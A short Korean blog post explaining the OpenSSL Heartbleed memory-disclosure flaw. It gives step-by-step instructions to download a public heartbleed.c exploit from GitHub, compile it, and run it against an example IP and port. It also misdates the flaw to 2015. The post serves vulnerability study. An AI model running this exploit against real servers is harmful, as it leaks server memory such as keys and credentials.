Metasploit

Heartbleed :) ํ•˜ํŠธ๋ธ”๋ฆฌ๋“œ

๐“›๐“พ๐“ฌ๐“ฎ๐“ฝ๐“ฎ_๐“ข๐“ฝ๐“ฎ๐“ต๐“ต๐“ช 2016. 12. 21.
728x90
๋ฐ˜์‘ํ˜•




heartbleed ๋Š” 2015๋…„ ๋ณด์•ˆ ์ทจ์•ฝ์  ์ค‘ ๋Œ€ํ‘œ์ ์ธ ์ทจ์•ฝ์ ์ด๋ผ ํ• ์ˆ˜ ์žˆ๋‹ค.


heartbleed ์ทจ์•ฝ์ ์€ ๊ณต๊ฒฉ์ž๊ฐ€ ์„œ๋ฒ„์˜ ๋ฉ”๋ชจ๋ฆฌ์˜ ์ผ๋ถ€๋ถ„์„ ์ฝ์–ด ์˜ฌ ์ˆ˜ ์žˆ๋Š” openSSL์˜ ์ทจ์•ฝ์ ์œผ๋กœ ์š”์ฒญํ• ๋•Œ ์š”์ฒญํ•  ๋‹จ์–ด๊ฐ€ ๋งŒ์•ฝ aaa์ด๋ฉด 3๋ฐ”์ดํŠธ๋ฅผ ์š”์ฒญํ•˜๋ฉด ๋˜๋Š”๋ฐ ์ด ๋ณด๋‹ค ๋” ํฐ ๋ฐ”์ดํŠธ์ธ 500์„ ํ•˜๊ฒŒ ๋œ๋‹ค๋ฉด aaa๋ฅผ ๋ฐ˜ํ™˜ํ•˜๊ณ  ๋‚จ์€ ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ๋‹ค๋ฅธ ๊ฐ’์œผ๋กœ ๋ฑ‰์–ด ์ฃผ๋Š” ์ทจ์•ฝ์ ์„ ๋งํ•œ๋‹ค.


์ทจ์•ฝ์ ์„ ์‹ค์Šตํ•ด๋ณผ ๋•Œ์—๋Š” 


1. https://raw.githubusercontent.com/HackerFantastic/Public/master/exploits/heartbleed.c

์—ฌ๊ธฐ์„œ ๋‹ค์šด์„ ๋ฐ›์€ ํ›„ 

2.  gcc heartbleed.c -o heartbleed -Wl,-Bstatic -ssl -Wl,-Bdynamic -lssl3 -lcrypto

์ปดํŒŒ์ผ ํ•œ ํ›„

3. chmod 755 heartbleed 

๊ถŒํ•œ ์„ค์ • 


์‚ฌ์šฉ๋ฒ•์€ ./heartbleed -s IP -p Port -f OutputFile -v -t Type

ex) ./heartbleed -s 111.111.111.111 -p 666 -f output -v -t 1


์ด๋Ÿฌํ•œ ์‹์œผ๋กœ ์‚ฌ์šฉ ํ•˜๋ฉด ๋œ๋‹ค.


์‰ฝ๊ฒŒ heartbleed ๋ฅผ ์ดํ•ดํ•˜๊ธฐ ์œ„ํ•ด์„œ 

http://xkcd.com/1354/

728x90
๋ฐ˜์‘ํ˜•

๋Œ“๊ธ€